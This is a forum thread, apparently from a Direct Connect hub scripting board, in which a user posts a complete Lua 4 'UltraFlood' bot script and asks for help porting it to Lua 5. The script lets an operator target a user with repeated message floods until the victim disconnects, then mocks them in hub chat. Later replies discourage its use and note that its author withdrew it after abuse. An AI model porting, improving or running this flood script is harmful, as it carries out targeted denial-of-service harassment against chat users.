hey i got a ultra flood script and its in lua 4
iz der any one who can convert it into lua 5
--------------------------------------------------------------------
sBotName = "UltraFlood";
sFloodUser = nil;
iFloodCount = 0;
sToFloodUser = nil;
function Main()
frmHub:RegBot(sBotName);
SetTimer(10);
end
function OpConnected(curUser)
curUser:SendData("$UserCommand 1 3 ?l?r??l??? $<%[mynick]> !ultra %[nick]||")
end
function OnTimer()
for i = 1, 20, 1 do
iFloodCount = iFloodCount + 1;
SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
end
if(GetItemByName(sFloodUser) == nil) then
StopTimer();
SendToAll(sBotName, sFloodUser.." was MuRkEdd wiTh "..iFloodCount.." anD wEnT DoWn In a BiG BaLL oF FlAmEz!!");
iFloodCount = 0;
sFloodUser,sToFloodUser = nil,nil;
end
end
function DataArrival(curUser, sData)
local s, e, cmd, user = strfind(sData, "%b<>%s+(%S+)%s+(%S+)%|$");
if(cmd == nil or curUser.bOperator == nil) then return 0; end
cmd = strlower(cmd);
if(cmd == "!ultra" and GetItemByName(user).bOperator ~= 1) then
sFloodUser = user;
sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
SendToAll(sBotName, "MuRdErInG"..user.." tiLl sOmE mAnNaZ AnD ReSpEcT cOmEz OuT ThEr aSS!!");
StartTimer();
return 1
end
end
----------------------------------------------------------------------
i wish i know o translate it.. :(
This script relies on deprecated parts of the DC protocol, and it is a bad way of punishment anyway, better not use it, simply kick...
flooding is bad...
you flood a user , they flood or mess with your hub .. who looses the most ????
??????Hawk??????
Said many times before. Phatty made this script. Then he deleted it. Because of it being abused. You should respect his descision. :)